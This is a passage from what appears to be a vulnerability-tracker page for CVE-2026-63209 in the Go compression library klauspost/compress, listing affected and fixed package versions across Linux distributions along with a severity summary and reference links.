before 0:2.10.8-0.4.hum1 | 0:2.10.8-0.4.hum1 |
tempo3.0Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:3.0.3-0.4.hum1 | 0:3.0.3-0.4.hum1 |
trivyRed Hat:hummingbird:1 From an advisory covering 3 CVEs |
before 0:0.74.0-0.4.hum1 | 0:0.74.0-0.4.hum1 |
spire1.15Red Hat:hummingbird:1 From an advisory covering 3 CVEs |
before 0:1.15.3-0.2.hum1 | 0:1.15.3-0.2.hum1 |
spire1.15-agentRed Hat:hummingbird:1 From an advisory covering 3 CVEs |
before 0:1.15.3-0.2.hum1 | 0:1.15.3-0.2.hum1 |
spire1.15-oidc-discovery-providerRed Hat:hummingbird:1 From an advisory covering 3 CVEs |
before 0:1.15.3-0.2.hum1 | 0:1.15.3-0.2.hum1 |
spire1.15-serverRed Hat:hummingbird:1 From an advisory covering 3 CVEs |
before 0:1.15.3-0.2.hum1 | 0:1.15.3-0.2.hum1 |
loki3.7Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:3.7.8-0.3.hum1 | 0:3.7.8-0.3.hum1 |
loki3.7-canaryRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:3.7.8-0.3.hum1 | 0:3.7.8-0.3.hum1 |
loki3.7-logcliRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:3.7.8-0.3.hum1 | 0:3.7.8-0.3.hum1 |
grafana12.4Red Hat:hummingbird:1 From an advisory covering 3 CVEs |
before 0:12.4.10-0.9.hum1 | 0:12.4.10-0.9.hum1 |
grafana13.1Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:13.1.6-0.4.hum1 | 0:13.1.6-0.4.hum1 |
grafana13.2Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:13.2.1-0.8.hum1 | 0:13.2.1-0.8.hum1 |
loki3.6Red Hat:hummingbird:1 From an advisory covering 5 CVEs |
before 0:3.6.17-0.3.hum1 | 0:3.6.17-0.3.hum1 |
loki3.6-canaryRed Hat:hummingbird:1 From an advisory covering 5 CVEs |
before 0:3.6.17-0.3.hum1 | 0:3.6.17-0.3.hum1 |
loki3.6-logcliRed Hat:hummingbird:1 From an advisory covering 5 CVEs |
before 0:3.6.17-0.3.hum1 | 0:3.6.17-0.3.hum1 |
github.com/klauspost/compressRoot:Go |
before v1.17.11-aikido.1 | v1.17.11-aikido.1v1.18.0-aikido.1v1.15.9-aikido.1v1.17.2-aikido.1v1.18.1-aikido.1v1.17.9-aikido.1v1.18.6-aikido.1 |
rootio-github.com/klauspost/compressRoot:Go |
before v1.17.11-root.io.1 | v1.17.11-root.io.1v1.18.0-root.io.1v1.15.9-root.io.1v1.17.2-root.io.1v1.18.1-root.io.1v1.17.9-root.io.1v1.18.6-root.io.1 |
helmSUSE:Linux Micro 6.2 From an advisory covering 3 CVEs |
before 4.3.0-160000.2.1 | 4.3.0-160000.2.1 |
google-osconfig-agentSUSE:Linux Micro 6.0 |
before 20260928.01-159998.1.1 | 20260928.01-159998.1.1 |
distributionSUSE:Linux Enterprise Server 16.0 |
before 3.1.1-160000.5.1 | 3.1.1-160000.5.1 |
distributionSUSE:Linux Enterprise Server for SAP applications 16.0 |
before 3.1.1-160000.5.1 | 3.1.1-160000.5.1 |
google-osconfig-agentSUSE:Linux Enterprise Server 16.0 |
before 20260928.01-160000.1.1 | 20260928.01-160000.1.1 |
google-osconfig-agentSUSE:Linux Enterprise Server for SAP applications 16.0 |
before 20260928.01-160000.1.1 | 20260928.01-160000.1.1 |
helmSUSE:Linux Enterprise Server 16.0 From an advisory covering 3 CVEs |
before 4.3.0-160000.2.1 | 4.3.0-160000.2.1 |
helmSUSE:Linux Enterprise Server for SAP applications 16.0 From an advisory covering 3 CVEs |
before 4.3.0-160000.2.1 | 4.3.0-160000.2.1 |
aliyun-cliSUSE:Linux Enterprise Server 16.0 |
before 3.5.1-160000.1.1 | 3.5.1-160000.1.1 |
aliyun-cliSUSE:Linux Enterprise Server for SAP applications 16.0 |
before 3.5.1-160000.1.1 | 3.5.1-160000.1.1 |
google-osconfig-agentSUSE:Linux Micro 6.1 |
before 20260928.01-slfo.1.1_1.1 | 20260928.01-slfo.1.1_1.1 |
helmSUSE:Linux Micro 6.1 From an advisory covering 20 CVEs |
before 4.3.0-slfo.1.1_1.1 | 4.3.0-slfo.1.1_1.1 |
google-osconfig-agentSUSE:Linux Enterprise Module for Public Cloud 12 |
before 20260928.01-1.63.1 | 20260928.01-1.63.1 |
google-osconfig-agentSUSE:Linux Enterprise Micro 5.5 |
before 20260928.01-150000.1.70.1 | 20260928.01-150000.1.70.1 |
google-osconfig-agentSUSE:Linux Enterprise Module for Public Cloud 15 SP4 |
before 20260928.01-150000.1.70.1 | 20260928.01-150000.1.70.1 |
google-osconfig-agentSUSE:Linux Enterprise Module for Public Cloud 15 SP5 |
before 20260928.01-150000.1.70.1 | 20260928.01-150000.1.70.1 |
google-osconfig-agentSUSE:Linux Enterprise Module for Public Cloud 15 SP6 |
before 20260928.01-150000.1.70.1 | 20260928.01-150000.1.70.1 |
google-osconfig-agentSUSE:Linux Enterprise Module for Public Cloud 15 SP7 |
before 20260928.01-150000.1.70.1 | 20260928.01-150000.1.70.1 |
amazon-cloudwatch-agentSUSE:Linux Enterprise Module for Public Cloud 15 SP4 |
before 1.300073.0-150400.9.18.1 | 1.300073.0-150400.9.18.1 |
amazon-cloudwatch-agentSUSE:Linux Enterprise Module for Public Cloud 15 SP5 |
before 1.300073.0-150400.9.18.1 | 1.300073.0-150400.9.18.1 |
amazon-cloudwatch-agentSUSE:Linux Enterprise Module for Public Cloud 15 SP6 |
before 1.300073.0-150400.9.18.1 | 1.300073.0-150400.9.18.1 |
amazon-cloudwatch-agentSUSE:Linux Enterprise Module for Public Cloud 15 SP7 |
before 1.300073.0-150400.9.18.1 | 1.300073.0-150400.9.18.1 |
helmSUSE:Linux Enterprise Micro 5.5 From an advisory covering 5 CVEs |
before 3.22.1-150000.1.104.1 | 3.22.1-150000.1.104.1 |
helmSUSE:Linux Enterprise Module for Containers 15 SP7 From an advisory covering 5 CVEs |
before 3.22.1-150000.1.104.1 | 3.22.1-150000.1.104.1 |
helmSUSE:Linux Enterprise Module for Package Hub 15 SP7 From an advisory covering 5 CVEs |
before 3.22.1-150000.1.104.1 | 3.22.1-150000.1.104.1 |
helmSUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS From an advisory covering 5 CVEs |
before 3.22.1-150000.1.104.1 | 3.22.1-150000.1.104.1 |
helmSUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS From an advisory covering 5 CVEs |
before 3.22.1-150000.1.104.1 | 3.22.1-150000.1.104.1 |
helmSUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS From an advisory covering 5 CVEs |
before 3.22.1-150000.1.104.1 | 3.22.1-150000.1.104.1 |
helmSUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS From an advisory covering 5 CVEs |
before 3.22.1-150000.1.104.1 | 3.22.1-150000.1.104.1 |
helmSUSE:Linux Enterprise Server 15 SP4-LTSS From an advisory covering 5 CVEs |
before 3.22.1-150000.1.104.1 | 3.22.1-150000.1.104.1 |
helmSUSE:Linux Enterprise Server 15 SP5-LTSS From an advisory covering 5 CVEs |
before 3.22.1-150000.1.104.1 | 3.22.1-150000.1.104.1 |
helmSUSE:Linux Enterprise Server 15 SP6-LTSS From an advisory covering 5 CVEs |
before 3.22.1-150000.1.104.1 | 3.22.1-150000.1.104.1 |
helmSUSE:Linux Enterprise Server for SAP Applications 15 SP4 From an advisory covering 5 CVEs |
before 3.22.1-150000.1.104.1 | 3.22.1-150000.1.104.1 |
helmSUSE:Linux Enterprise Server for SAP Applications 15 SP5 From an advisory covering 5 CVEs |
before 3.22.1-150000.1.104.1 | 3.22.1-150000.1.104.1 |
helmSUSE:Linux Enterprise Server for SAP Applications 15 SP6 From an advisory covering 5 CVEs |
before 3.22.1-150000.1.104.1 | 3.22.1-150000.1.104.1 |
golang-github-klauspost-compressUbuntu:16.04:LTS |
All versions, plus listed versions 0.0~git20151221.0.2dd54ae-1 |
None known |
golang-github-klauspost-compressUbuntu:18.04:LTS |
All versions, plus listed versions 1.2.1-11.2.1-21.2.1-41.2.1-5 |
None known |
golang-github-klauspost-compressUbuntu:20.04:LTS |
All versions, plus listed versions 1.2.1-51.7.6-21.9.5-11.9.5-2 |
None known |
golang-github-klauspost-compressUbuntu:22.04:LTS |
All versions, plus listed versions 1.11.7-2 |
None known |
golang-github-klauspost-compressUbuntu:24.04:LTS |
All versions, plus listed versions 1.15.12+ds1-31.17.7+ds1-1 |
None known |
golang-github-klauspost-compressUbuntu:26.10 |
All versions, plus listed versions 1.18.1+ds1-11.19.0+ds1-11.20.0+ds1-1 |
None known |
golang-github-klauspost-compressUbuntu:26.04:LTS |
All versions, plus listed versions 1.18.0+ds1-11.18.1+ds1-1 |
None known |
amazon-cloudwatch-agentopenSUSE:Tumbleweed |
before 1.300073.0-1.1 | 1.300073.0-1.1 |
aliyun-cliopenSUSE:Tumbleweed |
before 3.5.1-2.1 | 3.5.1-2.1 |
cadvisoropenSUSE:Tumbleweed |
before 0.60.6-1.1 | 0.60.6-1.1 |
distributionopenSUSE:Tumbleweed |
before 3.1.1-9.1 | 3.1.1-9.1 |
go-containerregistryopenSUSE:Tumbleweed |
before 0.22.1-2.1 | 0.22.1-2.1 |
google-osconfig-agentopenSUSE:Tumbleweed |
before 20260928.01-1.1 | 20260928.01-1.1 |
hauleropenSUSE:Tumbleweed |
before 2.1.1-1.1 | 2.1.1-1.1 |
helmopenSUSE:Tumbleweed From an advisory covering 2 CVEs |
before 4.3.0-4.1 | 4.3.0-4.1 |
helm3openSUSE:Tumbleweed |
before 3.22.0-3.1 | 3.22.0-3.1 |
alloyopenSUSE:Tumbleweed From an advisory covering 7 CVEs |
before 1.20.1-1.1 | 1.20.1-1.1 |
ghopenSUSE:Tumbleweed From an advisory covering 7 CVEs |
before 2.102.0-1.1 | 2.102.0-1.1 |
rqliteopenSUSE:Tumbleweed From an advisory covering 4 CVEs |
before 10.6.1-1.1 | 10.6.1-1.1 |
distributionopenSUSE:Leap 16.0 |
before 3.1.1-160000.5.1 | 3.1.1-160000.5.1 |
helmopenSUSE:Leap 16.0 From an advisory covering 3 CVEs |
before 4.3.0-160000.2.1 | 4.3.0-160000.2.1 |
google-osconfig-agentopenSUSE:Leap 16.0 |
before 20260928.01-160000.1.1 | 20260928.01-160000.1.1 |
hauleropenSUSE:Leap 16.0 From an advisory covering 2 CVEs |
before 2.1.1-bp160.1.1 | 2.1.1-bp160.1.1 |
cadvisoropenSUSE:Leap 16.0 |
before 0.60.6-bp160.1.1 | 0.60.6-bp160.1.1 |
ghopenSUSE:Leap 16.0 From an advisory covering 8 CVEs |
before 2.102.0-bp160.1.1 | 2.102.0-bp160.1.1 |
aliyun-cliopenSUSE:Leap 16.0 |
before 3.5.1-160000.1.1 | 3.5.1-160000.1.1 |
rqliteopenSUSE:Leap 16.0 From an advisory covering 6 CVEs |
before 10.6.6-bp160.1.1 | 10.6.6-bp160.1.1 |
go-containerregistryopenSUSE:Leap 16.0 From an advisory covering 3 CVEs |
before 0.22.1-bp160.1.1 | 0.22.1-bp160.1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| affected, aliases, references | OSV | |
| affected, aliases, facts, references | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-63209 is a high vulnerability (CVSS 7.5) in Klauspost Compress, published July 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.57%, the 47th percentile. Fixed in github.com/klauspost/compress 1.18.7.
References
github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw
github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536
github.com/klauspost/compress/releases/tag/v1.18.7
nvd.nist.gov/vuln/detail/CVE-2026-63209
github.com/klauspost/compress/pull/1163
github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa
Show 194 moreShow less
github.com/advisories/GHSA-259r-337f-4rfw
docs.bell-sw.com/security/cves/CVE-2026-63209
github.com/CVEProject/cvelistV5/tree/main/cves/2026/63xxx/CVE-2026-63209.json
security-tracker.debian.org/tracker/CVE-2026-63209
github.com/klauspost/compress
access.redhat.com/errata/RHSA-2026:54413
images.redhat.com
access.redhat.com/security/cve/CVE-2026-63209
access.redhat.com/security/updates/classification
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_54413.json
bugzilla.redhat.com/show_bug.cgi?id=2543236
cve.org/CVERecord?id=CVE-2026-63209
access.redhat.com/errata/RHSA-2026:54419
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_54419.json
access.redhat.com/errata/RHSA-2026:58472
access.redhat.com/security/cve/CVE-2026-56851
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_58472.json
bugzilla.redhat.com/show_bug.cgi?id=2547607
cve.org/CVERecord?id=CVE-2026-56851
nvd.nist.gov/vuln/detail/CVE-2026-56851
go.dev/cl/793360
go.dev/issue/80112
pkg.go.dev/vuln/GO-2026-6629
access.redhat.com/errata/RHSA-2026:68256
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_68256.json
access.redhat.com/errata/RHSA-2026:68272
access.redhat.com/security/cve/CVE-2026-81872
access.redhat.com/security/cve/CVE-2026-93450
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_68272.json
bugzilla.redhat.com/show_bug.cgi?id=2535727
cve.org/CVERecord?id=CVE-2026-81872
nvd.nist.gov/vuln/detail/CVE-2026-81872
github.com/open-telemetry/opentelemetry-go/commit/ba71b09e6ed272e93a669aeaec1e98b1df4cc582
github.com/open-telemetry/opentelemetry-go/issues/6797
github.com/open-telemetry/opentelemetry-go/pull/8620
github.com/open-telemetry/opentelemetry-go/releases/tag/sdk/log/v0.21.0
github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-hjf4-fphr-2h65
bugzilla.redhat.com/show_bug.cgi?id=2538979
cve.org/CVERecord?id=CVE-2026-93450
nvd.nist.gov/vuln/detail/CVE-2026-93450
github.com/go-openapi/swag
github.com/go-openapi/swag/blob/v0.27.0/jsonutils/adapters/stdlib/json/adapter.go
github.com/go-openapi/swag/blob/v0.27.0/jsonutils/adapters/stdlib/json/ordered_map.go
github.com/go-openapi/swag/commit/0c24346ced59a25811e8694a915e7131d25ccb0e
github.com/go-openapi/swag/security/advisories/GHSA-xh24-9qpg-8w28
vulncheck.com/advisories/go-openapi-swag-jsonutils-before-0.27.1-uncontrolled-recursion-in-ordered-json-marshal-and-unmarshal
access.redhat.com/errata/RHSA-2026:68290
access.redhat.com/security/cve/CVE-2026-77404
access.redhat.com/security/cve/CVE-2026-77412
access.redhat.com/security/cve/CVE-2026-77403
access.redhat.com/security/cve/CVE-2026-77410
access.redhat.com/security/cve/CVE-2026-77409
access.redhat.com/security/cve/CVE-2026-77406
access.redhat.com/security/cve/CVE-2026-77407
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_68290.json
bugzilla.redhat.com/show_bug.cgi?id=2535498
cve.org/CVERecord?id=CVE-2026-77403
nvd.nist.gov/vuln/detail/CVE-2026-77403
github.com/rabbitmq/amqp091-go/commit/2e0a919b89f337dbf58db2bb34ab206dac354a06
github.com/rabbitmq/amqp091-go/pull/353
github.com/rabbitmq/amqp091-go/releases/tag/v1.13.0
github.com/rabbitmq/amqp091-go/security/advisories/GHSA-xwwf-m8fg-p9q2
bugzilla.redhat.com/show_bug.cgi?id=2535489
cve.org/CVERecord?id=CVE-2026-77404
nvd.nist.gov/vuln/detail/CVE-2026-77404
github.com/rabbitmq/amqp091-go/commit/743d488e46955fe7ffc55506fe2c401d01216783
github.com/rabbitmq/amqp091-go/pull/352
github.com/rabbitmq/amqp091-go/security/advisories/GHSA-465g-fh3v-9jw4
bugzilla.redhat.com/show_bug.cgi?id=2535493
cve.org/CVERecord?id=CVE-2026-77406
nvd.nist.gov/vuln/detail/CVE-2026-77406
bugzilla.redhat.com/show_bug.cgi?id=2535487
cve.org/CVERecord?id=CVE-2026-77407
nvd.nist.gov/vuln/detail/CVE-2026-77407
bugzilla.redhat.com/show_bug.cgi?id=2535494
cve.org/CVERecord?id=CVE-2026-77409
nvd.nist.gov/vuln/detail/CVE-2026-77409
bugzilla.redhat.com/show_bug.cgi?id=2535500
cve.org/CVERecord?id=CVE-2026-77410
nvd.nist.gov/vuln/detail/CVE-2026-77410
bugzilla.redhat.com/show_bug.cgi?id=2535499
cve.org/CVERecord?id=CVE-2026-77412
nvd.nist.gov/vuln/detail/CVE-2026-77412
access.redhat.com/errata/RHSA-2026:68591
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_68591.json
access.redhat.com/errata/RHSA-2026:68717
access.redhat.com/security/cve/CVE-2026-81871
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_68717.json
bugzilla.redhat.com/show_bug.cgi?id=2535725
cve.org/CVERecord?id=CVE-2026-81871
nvd.nist.gov/vuln/detail/CVE-2026-81871
access.redhat.com/errata/RHSA-2026:68729
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_68729.json
access.redhat.com/errata/RHSA-2026:68806
access.redhat.com/security/cve/CVE-2026-71557
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_68806.json
bugzilla.redhat.com/show_bug.cgi?id=2512557
cve.org/CVERecord?id=CVE-2026-71557
nvd.nist.gov/vuln/detail/CVE-2026-71557
access.redhat.com/errata/RHSA-2026:68808
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_68808.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_70031.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_70670.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_70684.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_70726.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72490.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72491.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72492.json
bugzilla.redhat.com/show_bug.cgi?id=2545329
cve.org/CVERecord?id=CVE-2026-104994
nvd.nist.gov/vuln/detail/CVE-2026-104994
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72493.json
bugzilla.redhat.com/show_bug.cgi?id=2268046
cve.org/CVERecord?id=CVE-2024-24786
nvd.nist.gov/vuln/detail/CVE-2024-24786
go.dev/cl/569356
groups.google.com/g/golang-announce/c/ArQ6CDgtEjY
pkg.go.dev/vuln/GO-2024-2611
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72496.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72497.json
bugzilla.redhat.com/show_bug.cgi?id=2481394
cve.org/CVERecord?id=CVE-2026-9496
nvd.nist.gov/vuln/detail/CVE-2026-9496
security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-16874025
security.snyk.io/vuln/SNYK-JS-PACOTE-8225084
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72498.json
bugzilla.redhat.com/show_bug.cgi?id=2535473
cve.org/CVERecord?id=CVE-2026-61709
nvd.nist.gov/vuln/detail/CVE-2026-61709
bugzilla.redhat.com/show_bug.cgi?id=2542933
cve.org/CVERecord?id=CVE-2026-102422
nvd.nist.gov/vuln/detail/CVE-2026-102422
npmjs.com/package/shell-quote
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72507.json
bugzilla.redhat.com/show_bug.cgi?id=2543653
cve.org/CVERecord?id=CVE-2026-81842
nvd.nist.gov/vuln/detail/CVE-2026-81842
grafana.com/security/security-advisories/cve-2026-81842
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_72570.json
bugzilla.redhat.com/show_bug.cgi?id=2501250
cve.org/CVERecord?id=CVE-2026-21729
nvd.nist.gov/vuln/detail/CVE-2026-21729
grafana.com/security/security-advisories/cve-2026-21729
suse.com/support/update/announcement/2026/suse-su-202624120-1
bugzilla.suse.com/1281112
bugzilla.suse.com/1283642
bugzilla.suse.com/1284104
suse.com/security/cve/CVE-2026-63209
suse.com/security/cve/CVE-2026-81870
suse.com/security/cve/CVE-2026-85732
suse.com/support/update/announcement/2026/suse-su-202624131-1
bugzilla.suse.com/1283672
suse.com/support/update/announcement/2026/suse-su-202624153-1
bugzilla.suse.com/1283762
suse.com/support/update/announcement/2026/suse-su-202624222-1
suse.com/support/update/announcement/2026/suse-su-202624247-1
suse.com/support/update/announcement/2026/suse-su-202624261-1
bugzilla.suse.com/1283596
bugzilla.suse.com/1284203
suse.com/support/update/announcement/2026/suse-su-202624277-1
suse.com/support/update/announcement/2026/suse-su-202624282-1
bugzilla.suse.com/1261935
bugzilla.suse.com/1261938
bugzilla.suse.com/1261939
bugzilla.suse.com/1265428
bugzilla.suse.com/1265758
bugzilla.suse.com/1270127
bugzilla.suse.com/1271660
bugzilla.suse.com/1271997
bugzilla.suse.com/1275024
bugzilla.suse.com/1275025
bugzilla.suse.com/1276327
bugzilla.suse.com/1276510
bugzilla.suse.com/1276514
bugzilla.suse.com/1281426
bugzilla.suse.com/1281468
bugzilla.suse.com/1281469
suse.com/security/cve/CVE-2026-33814
suse.com/security/cve/CVE-2026-35204
suse.com/security/cve/CVE-2026-35205
suse.com/security/cve/CVE-2026-35206
suse.com/security/cve/CVE-2026-41178
suse.com/security/cve/CVE-2026-41888
suse.com/security/cve/CVE-2026-48978
suse.com/security/cve/CVE-2026-50151
suse.com/security/cve/CVE-2026-50163
suse.com/security/cve/CVE-2026-56852
suse.com/security/cve/CVE-2026-56854
suse.com/security/cve/CVE-2026-56855
suse.com/security/cve/CVE-2026-56864
suse.com/security/cve/CVE-2026-56865
bugzilla.suse.com/1283594
bugzilla.suse.com/1285273
ubuntu.com/security/CVE-2026-63209
Left out here: 96 references. The JSON record has them. Left out on purpose, here and in the API, to keep responses small: 16 source records.